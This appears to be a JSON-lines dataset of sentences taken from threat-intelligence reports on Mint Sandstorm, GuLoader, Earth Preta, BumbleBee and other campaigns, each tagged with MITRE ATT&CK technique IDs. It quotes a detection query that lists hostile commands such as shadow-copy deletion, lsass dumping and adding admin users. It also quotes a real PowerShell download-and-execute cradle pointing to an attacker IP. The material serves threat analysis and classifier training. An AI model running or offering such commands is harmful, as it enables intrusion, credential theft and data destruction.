Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Finally, in this attack chain, the actors deploy a custom malware variant, such as Drokbk or Soldier.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Use of custom tools to evade detection", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Microsoft Threat Intelligence analysts assess that Soldier is a more sophisticated variant of Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Low-volume phishing campaigns using template injection Microsoft has also observed this Mint Sandstorm subgroup using a distinct attack chain involving low-volume phishing campaigns and a third custom implant.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "In these operations, the group crafts bespoke phishing emails, often purporting to contain information on security policies that affect countries in the Middle East, to deliver weaponized documents to individuals of interest.", "labels": ["T1566.001"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "CharmPower can read files, gather information on an infected host, and send details back to the attackers.", "labels": ["T1005", "T1083"], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Template injection technique What’s next Capabilities observed in intrusions attributed to this Mint Sandstorm subgroup are concerning as they allow operators to conceal C2 communication, persist in a compromised system, and deploy a range of post-compromise tools with varying capabilities.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "A successful intrusion creates liabilities and may harm an organization’s reputation, especially those responsible for delivering services to others such as critical infrastructure providers, which Mint Sandstorm has targeted in the past.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Microsoft will continue to monitor Mint Sandstorm activity and implement protections for our customers.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "To further reduce organizational exposure, Microsoft Defender for Endpoint customers can use the threat and vulnerability management capability to discover, prioritize, and remediate vulnerabilities and misconfigurations.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "Microsoft 365 Defender detections Microsoft Defender Antivirus Microsoft Defender Antivirus detects the Drokbk implant as the following malware: Trojan:MSIL/Drokbk.A!dha Trojan:MSIL/Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "B!dha Trojan:MSIL/Drokbk.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "IO.MemoryStream\", \"iex \", \"iex(\", \"Invoke-WebRequest\", \"set-MpPreference\", \"add-MpPreference\", \"certutil\", \"bitsadmin\", \"csvhost.exe\", \"ekern.exe\", \"svhost.exe\", \".dmp\") or ProcessCommandLine matches regex @\"[-/–][Ee^]{1,2}[ncodema^]*\\s[A-Za-z0-9+/=]{15,}\")) or (FileName =~ \"curl.exe\" and ProcessCommandLine contains \"http\") or (FileName =~ \"wget.exe\" and ProcessCommandLine contains \"http\") or ProcessCommandLine has_any (\"E:jscript\", \"e:vbscript\") or ProcessCommandLine has_all (\"localgroup Administrators\", \"/add\") or ProcessCommandLine has_all (\"reg add\", \"DisableAntiSpyware\", @\"\\Microsoft\\Windows Defender\") or ProcessCommandLine has_all (\"reg add\", \"DisableRestrictedAdmin\", @\"CurrentControlSet\\Control\\Lsa\") or ProcessCommandLine has_all (\"wmic\", \"process call create\") or ProcessCommandLine has_all (\"net\", \"user \", \"/add\") or ProcessCommandLine has_all (\"net1\", \"user \", \"/add\") or ProcessCommandLine has_all (\"vssadmin\", \"delete\", \"shadows\") or ProcessCommandLine has_all (\"wmic\", \"delete\", \"shadowcopy\") or ProcessCommandLine has_all (\"wbadmin\", \"delete\", \"catalog\") or (ProcessCommandLine has \"lsass\" and ProcessCommandLine has_any (\"procdump\", \"tasklist\", \"findstr\")) Log4J Wstomcat Process Execution. DeviceProcessEvents | where InitiatingProcessFileName has \"ws_tomcatservice.exe\" and FileName !in~(\"repadmin.exe\") Encoded watcher Function.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "The Washington Post Iran Says Cyberattack Causes Widespread Disruption at Gas Stations.", "labels": [], "doc_title": "Nationstate threat actor Mint Sandstorm refines tradecraft to attack highvalue targets"} {"sentence": "GuLoader is a shellcode-based downloader, known for its numerous anti-analysis techniques and control flow obfuscation.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Layer 1: Recent variant of GuLoader is spreading as NSIS Installer consisting of NSIS script, DLL plugin and encrypted shellcode’s file.", "labels": ["T1027"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Extracted files from NSIS installer.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "File “Hangarer.Man” contains shellcode of Layer 2 and an encrypted shellcode of Layer 3 which is main shellcode of GuLoader.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "lpPrevWndFunc is callback function, which is set to address of allocated memory space, which results in indirect execution of the Layer 2’s shellcode.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Uses OpenSCManagerA and EnumServicesStatusA APIs.", "labels": ["T1106", "T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "It decrypts an encrypted payload, use process hollowing to inject decrypted payload into child process and resolves its Import Address Table.", "labels": ["T1027", "T1055", "T1140"], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Decoding Vectored Exception Handler function.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "We will discuss each exception and understand its pattern to write a script.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Fig 5.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Then contents of registers and memory locations can be examined by Vectored Exception Handler; if they are correct, the system can execute the next instruction.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "These operations are done by.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "Fig 8.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "If successfully pass the check, it then transforms the EIP to new address using logic Context->Eip += ByteAt(Eip + 2) ^", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "We expect further development in GuLoader anti-analysis, anti-debug techniques in upcoming days.", "labels": [], "doc_title": "GuLoader Demystified Unraveling its Vectored Exception Handler Approach"} {"sentence": "We also observed that the threat actors were actively changing their tools, tactics, and procedures (TTPs) to bypass security solutions.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "In this blog entry, we will introduce and analyze the other tools and malware used by the threat actor.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "In a more recent campaign we’ve been tracking, we discovered Earth Preta delivering lure archives via spear-phishing emails and Google Drive links.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "However, we observed that some of TTPs have been changed.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Arrival vectors We previously summarized the arrival vectors used by Earth Preta by categorizing them into three types (DLL sideloading, shortcut links, and fake file extensions).", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The document lures users into downloading a malicious password-protected archive with the embedded link.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Infection flow for the new arrival vector File name Detection name Description Letter Head.docx Decoy document with Google Drive link List of terrorist personnel IN border.rar (all entries below are part of this archive) List of terrorist personnel at the border.exe First-stage legitimate executable for DLL sideloading libcef.dll Trojan.Win32.TONEINS First-stage malware ~$Evidence information.docx Second-stage legitimate executable for DLL sideloading ~$List of terrorist personnel at the border.docx Backdoor.Win32.TONESHELL Second-stage malware Internal Letter.docx Decoy document Letter Head.docx Decoy document Table 1.", "labels": ["T1574.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Files in the new arrival vector After analyzing the downloaded archive, we discovered it to be a malicious RAR file with the TONEINS malware libcef.dll and the TONESHELL malware ~List of terrorist personnel at the border.docx.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The lure document Invitation letter from the US embassy.docx Since October 2022, we have been observing a new variant of PUBLOAD, which uses the spoofed HTTP header to transfer the data, as LAC’s report also discusses.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The data in the HTTP body is the same as the past variant, which has the same magic bytes 17 03 03 and the encrypted victim information.", "labels": ["T1071.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "argv[1] HKEY_USERS\\-1001_Classes\\ms-settings\\CurVer (Default) aaabbb32 Table 3.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "If the CurVer key is set under a ProgID, it will be used for versioning and mapping the current ProgID (ms-settings) to the one specified in the CurVer’s default value.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "It invokes the undocumented API UserAssocSet to update the file association.", "labels": ["T1106"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "It executes WSReset.exe to trigger this protocol.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "In Windows 10 and above, the system shows a new toast dialog for selecting the open application for the selected file type.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Win 32.ACNSHELL", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Figure 18 shows the infection chain for both. Figure 18.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "They have the following PDB strings, respectively: G:\\project\\APT\\U盘劫持\\new\\u2ec\\Release\\u2ec.pdb", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "If it is installed, it will start to infect more removable disks and copy files to a folder named autorun.inf.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Command codes of CLEXEC Backdoor.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "UAC Bypass via the CMSTPLUA COM interface Figure 26.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "It sets up a run key for the command C:\\programdata\\netsky\\netsky.exe online for persistence.", "labels": ["T1547.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "If avp.exe exists, UAC bypass is executed via token manipulation.", "labels": ["T1548.002"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "In addition to the aforementioned malware, we also found several shellcode loaders for PlugX. Since it is a known malware family, we will not expand on its details in this blog entry.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Exfiltration Based on our telemetry, we found that Earth Preta used multiple approaches to exfiltrate sensitive data from the victims.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Exfiltrate data using WinRAR and curl In some cases, we accidentally stumbled on the account and password of the FTP server.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The NUPAKAGE malware needs a unique passcode to be executed, with the exfiltrated data being wrapped in a custom file format.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "We believe that the threat actors use it to further track which files have been processed.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "[+] FILE COMPRESSED SIZE: 183734 [+] FILE ORIGINAL PATH:", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": " ...", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "After, it stores the encrypted key blob into the first 0x80 bytes of the file with the .z extension.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The usage of this tool is shown as follows: malware.exe passcode time Argument Name Format Example Value Description Passcode String start A unique code in order to execute it Time String 20221221 The start date Table 6.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "In addition, it generates two files, one with a .z extension and another with a .zip extension.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Otherwise, the type will be set to 0, and the original file content will be chosen instead of the compressed one.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Self-defined format in the file with .z extension generated by ZPAKAGE Table 7. Self-defined format description in the file with the .z extension generated by ZPAKAGE Threat Hunting Since October 2022, the threat actors have changed their TTPs and have started using password-protected archives.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "But it has an interesting execution parent in the “Relations” tab, which is a document file named Letter Head.docx. Figure 41.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Execution parent of List of terrorist personnel at the border[1].rar Inside the document Letter Head.docx", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "tag:rar tag:encrypted name:INetCache size:500kb+ The query finds any encrypted RAR archive with a large enough file size containing the folder name “INetCache” in its path.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Fortunately, we found another RAR file with the document execution parent “Notic(20221010)(final).docx” that turned out to be a TONESHELL archive.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Relations of the archive file Figure 47.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Content of the file Notic(20221010)(final).docx It’s interesting to note that the threat actors use date and time strings written in the same format (DD-MM-YYYY) as the extracting passwords in all the cases we’ve collected so far.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Our investigation started with the TONESHELL C&C server 38[.]54[.]33[.]228 that had the remote desktop service enabled.", "labels": ["T1021.001"], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The YanNaingOo0072022 GitHub space 1226", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Beginning in January, we discovered that MQsTTang was being used as the new arrival vector in some of incidents we encountered, specifically in campaigns targeting individuals involved with government entities.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Malicious actors using this technique can effectively hide the real C&C server behind the protocol.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The 14 repository ee The file CVs Amb Office PASSPORT Ministry Of Foreign Affairs.exe, which is the malware QMAGENT, can be found in the CVs Amb.rar archive.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Starting October 2022, the threat actors changed the arrival vector of the TONEINS, TONESHELL, and PUBLOAD malware.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "The full list of IOCs can be found here.", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Upload Malware Initial Access T1566.002 Phishing: Spearphishing Link Execution T1204.001 User Execution: Malicious Link T1204.002 User Execution: Malicious File Persistence T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder T1574.002 Hijack Execution Flow: DLL Side-Loading T1053.005", "labels": [], "doc_title": "Pack it Secretly Earth Pretas Updated Stealthy Strategies"} {"sentence": "Different sorts of malware have different capabilities and implementations.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "There are different ways to “deliver” malware to the endpoint.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "These tools, that we will describe in this section, can be used by legitimate vendors that want to protect their software from piracy and copyright violations but threat actors also use these tools to evade detection and make the reversing engineering and analysis process harder.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Now, let’s look at these four tools: a packer, crypter, protector, and a loader.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Some security tools use signatures or keywords to detect malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "In addition, loaders can be used to set persistence and additional components needed for the execution of the malware.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "For example, Bazarloader is a sophisticated loader with multiple techniques that is used in attacks against high-profile organizations.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "For example, Morphine has its loader and can encrypt the original file.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "How to detect packed files 1.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Standard UPX packed samples can be identified by the section names, as long as they were not modified by the attackers.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "-o ", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Dynamic detection When we dynamically analyze a packed file, we aim to extract the payload.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "The relevant system calls are VirtualAlloc used for allocating memory in the current process.", "labels": ["T1027", "T1106"], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "However, malware authors usually try to hide these system calls.", "labels": ["T1027"], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Extracting Packed Locky Payload In this section, we will present a guide on extracting packed malware from 2 popular malware:", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "You can watch the video of the hands-on unpacking process of Cobalt Strike.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "Static analysis First, we will check the entropy of the section (as we did in the previous example).", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "At this point, we can assume that the sample is packed, so we will move to dynamic analysis using the x32dbg debugger.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "We will get to the instruction “ret 10” at this point.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "We need to grab the value stored in EAX, which stores the return value of VirtualAlloc.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "In my case, EAX is 0x240000.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "If you have automated tools that can unpack files and conduct reverse engineering-level analysis, those can ensure that you’re using your time efficiently to focus on threats that require your attention.", "labels": [], "doc_title": "Malware Reverse Engineering for Beginners Part 2"} {"sentence": "These detections were driven by heuristic detection methods, which play an important role in detecting new, previously-unknown supply chain threats, where legitimate third-party technology products or updates have been compromised.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This backdoor appears to be implementing intentional functionality and would require a firmware update to completely remove it from affected systems.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Key Findings There are two important aspects of our findings: Eclypsium automated heuristics detected firmware on Gigabyte systems that drops an executable Windows binary that is executed during the Windows startup process.", "labels": ["T1105"], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Since many more issues like this continue to be discovered, Eclypsium is continuously running at-scale analysis of the information technology supply chain.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "This Gigabyte firmware images and the persistently dropped Windows executable enable the same attack scenario.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "Ongoing risk due to unwanted behavior within official firmware – Backdoors hidden within UEFI or other firmware can be hard to remove.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "We will provide additional updates as new information becomes available.", "labels": [], "doc_title": "Supply Chain Risk from Gigabyte App Center Backdoor Eclypsium Supply Chain Security for the Modern Enterprise"} {"sentence": "NetSupport RAT has been observed in numerous attacks on enterprise environments over the years, and Pokemon is just the latest in a long line of creative lures used to distribute and drop NetSupport RAT.", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "In this post, we provide an overview of NetSupport RAT and discuss the technical details of a recent campaign.", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "ASEC reported that the NetSupport RAT droppers were delivered via phishing emails that entice targets to install a “Pokemon card game”.", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "When executed, a base64 encoded string is used to specify various parameters including sessionID and other critical values to the NetSupport connection.", "labels": ["T1027"], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "Network adapter details are pulled via GetAdaptersAddresses.", "labels": ["T1016"], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "Network requirements vary across different NetSupport Manager configurations and sessions.", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "In the analyzed sample, the client opens a port on TCP 50275 to receive network connections.", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "In this particular campaign, system/log data and executable code is dropped into %temp%.", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "Hide Artifacts: Hidden Window T1036 – Masquerading T1112 – Modify Registry T1406.002 – Obfuscated Files or Information: Software Packing T1049 – System Network Connections Discovery T1083 – File and Directory Discovery T1057 – Process Discovery T1012 – Query Registry T1571 – Non-Standard Port", "labels": [], "doc_title": "Gotta Catch Em All Understanding the NetSupport RAT Campaigns Hiding Behind Pokemon Lures"} {"sentence": "Introduction", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "Recently we explored the topic of infection methods, including malvertising and malicious downloads.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "The latest version, however, removed the SSH functionality part and now focuses exclusively on Telnet—and with quite some success.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "Despite the malware being advertised already in September 2022, we started to detect the first samples at the beginning of 2023.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "It has been constantly updated, with the latest update going back to October 31 2022.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "The downloader is written in .NET and called CUEMiner.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "Does a number of other things.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "The watcher, as the name suggests, monitors the system.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "When a heavy process, such as a game, is started, the miner is stopped and only started again when the aforementioned process stops.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "In other cases, cybercriminals re-use parts of the code in new campaigns.", "labels": [], "doc_title": "Uncommon infection methodspart 2"} {"sentence": "In this latest campaign, threat actors are relying on compromised websites to socially engineer users by using a decoy forum template instructing them to download a malicious file.", "labels": ["T1204.002"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Germany’s Computer Emergency Response Team CERT-Bund later confirmed that German users were being targeted via compromised websites.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Fake forum template on hacked websites The initial loader is spread via hacked websites using an interesting search engine optimization (SEO) technique to customize a fake template that tries to trick users to download a file.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It fetches the domains from the list, and tries them one by one.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It needs to be removed before further processing.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The example below shows the variant in which a PE file was encoded as an obfuscated hexadecimal string.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The content is encoded as hexadecimal, and mildly obfuscated.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The next stage PE file (.NET): REvil loader: (0e451125eaebac5760c2f3f24cc8112345013597fb6d1b7b1c167001b17d3f9f)", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The Setup function called by the PowerShell script is responsible for decoding and running the next PE: Figure 15: Hardcoded string (PE) Figure 16:", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "The registry keys compose a PowerShell script in the following format: $Command =[System.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "It is further loaded by the first one.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "Loader like matryoshka dolls with a side of REvil", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "We were able to reproduce this flow in our lab once, but most of the time we saw Gootkit.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "[60aef1b657e6c701f88fc1af6f56f93727a8f4af2d1001ddfa23e016258e333f]PE stored in resources", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"} {"sentence": "New IcedID variants have been found without the usual online banking fraud functionality and instead focus on installing further malware on compromised systems.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "The new variants The “Forked” IcedID loader is quite similar to the “Standard” version in terms of its role, sending basic host info to the C2 and then fetching the IcedID bot.", "labels": ["T1041"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"} {"sentence": "BumbleBee is a malware loader that was first reported by Google Threat Analysis Group in March 2022.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Google TAG attributes this malware to an initial access broker (IAB) dubbed EXOTIC LILY, working with the cybercrime group FIN12/WIZARD SPIDER/DEV-0193.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Case Summary In this intrusion, the threat actors operated in an environment over an 11 day dwell period.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The execution phase started with that password protected zip, which after extracting would show the user an ISO file that after the user double clicks would mount like a CD or external media device on Windows and present the user with a single file named documents in the directory.", "labels": ["T1204.002"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Four hours after initial access, the threat actor started their first lateral movement using RDP to pivot to a server using the local Administrator account.", "labels": ["T1021.001", "T1078"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "While they were able to move laterally to workstations and at least one server, it seemed that they had not yet taken control of an account that provided them the access they were seeking, likely a Domain Administrator or similarly highly privileged account.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The threat actors used PowerShell to download and execute a new Cobalt Strike PowerShell beacon in memory on the beachhead host.", "labels": ["T1105"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "These batch scripts’ purposes were to identify all online servers and workstations in the environment, often a precursor to ransomware deployment by creating the target list for that deployment.", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "This service account was most likely cracked offline after being kerberoasted earlier in the intrusion.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "The metadata included TA machine’s hostname, MAC address, and the LNK document creation date: Execution Execution of multiple payloads The successful execution of BumbleBee payload (namr.dll) resulted in the dropping and the execution of several payloads using multiple techniques.", "labels": ["T1016", "T1082", "T1105"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "-w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://104.243.33.50:80/a'))\" Since the download took place over an unencrypted HTTP channel, the network traffic was plainly visible.", "labels": ["T1059.003", "T1071.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Defense Evasion Process Injection The process injection technique was used multiple times to inject into different processes.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "Pid ProcessName CommandLine 6832 explorer.exe C:\\Windows\\Explorer.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"} {"sentence": "-s cbdhsvc beacon: 